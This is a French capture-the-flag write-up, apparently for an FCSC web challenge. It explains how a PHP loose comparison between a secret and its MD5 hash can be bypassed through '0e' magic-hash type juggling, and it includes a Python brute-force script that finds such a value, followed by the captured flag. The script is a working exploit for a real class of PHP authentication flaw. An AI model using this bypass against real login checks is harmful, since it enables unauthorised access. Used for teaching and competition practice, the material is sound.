Intro
Une page verte, un chateau en ASCII, une invitation a revenir en étant le dungeon_master, et surtout un message qui nous prévient d’une vulnérabilité dans le formulaire ! On va s’amuser mes chatons !
Your Princess is in another castle !
On commence par regarder la source de la page, pour plusieurs raisons, la première, le fond vert est VRAIMENT atroce, et la seconde nous allons avoir plus d’informations dedans à mon avis.
Regardons un peu plus sérieusement, si l’on met le château de côté, je vois un commentaire qui est super intéressant (n.b : NE JAMAIS LAISSER DE COMMENTAIRE COMME CELA SUR UN SITE!):
Nous savons désormais que nous avons deux autres documents sur la racine, check_secret.php et check_secret.txt.
Ma curiosité me pousse d’abord à ouvrir le texte pour voir si un mot de passe admin ou une autre page se cache dedans le temps de la réparation de l’authentification, mais j’ai ENCORE MIEUX, j’ai la méthode d’authentification !
Nous allons mettre à mal cette affirmation de test impossible, dans ce bloc, il y a un problème, je vais vous montrer :
if(md5($_GET[‘secret’]) == $_GET[‘secret’])
devrait être en fait :
if(md5($_GET[‘secret’]) === $_GET[‘secret’])
Vous avez vu la différence ? Nous avons rajouté un “=”, qui rend la comparaison STRICTEMENT équivalente. Mais pourquoi cela est-il important ? Lors de la compétition, j’ai appris que PHP interpréterait notre code comme un nombre flottant, la notation scientifique d’un nombre flottant c’est 0e…., nous allons donc chercher une collision de Hash MD5.
Mais dis-moi Jamy, c’est quoi une collision de Hash ?
Une très bonne source sur la collision de Hash se trouve ici, c’est en anglais, mais cela explique très bien ce que nous allons chercher.
Exploit.py
#!/usr/bin/env python
import hashlib
import re
prefix = '0e'
def breakit():
iters = 0
while 1:
s = prefix + str(iters)
hashed_s = hashlib.md5(s).hexdigest()
iters = iters + 1
r = re.match('^0e[0-9]{30}', hashed_s)
if r:
print "[+] found! md5( {} ) ---> {}".format(s, hashed_s)
print "[+] in {} iterations".format(iters)
exit(0)
if iters % 1000000 == 0:
print "[+] current value: {} {} iterations, continue...".format(s, iters)
breakit()
Exploitation
Une fois le code remplissant la fonction trouvé, nous allons pouvoir l’utiliser sur la page :
Puis retourner sur la page d’accueil et récupérer le joli flag :
FCSC{f67aaeb3b15152b216cb1addbf0236c66f9d81c4487c4db813c1de8603bb2b5b}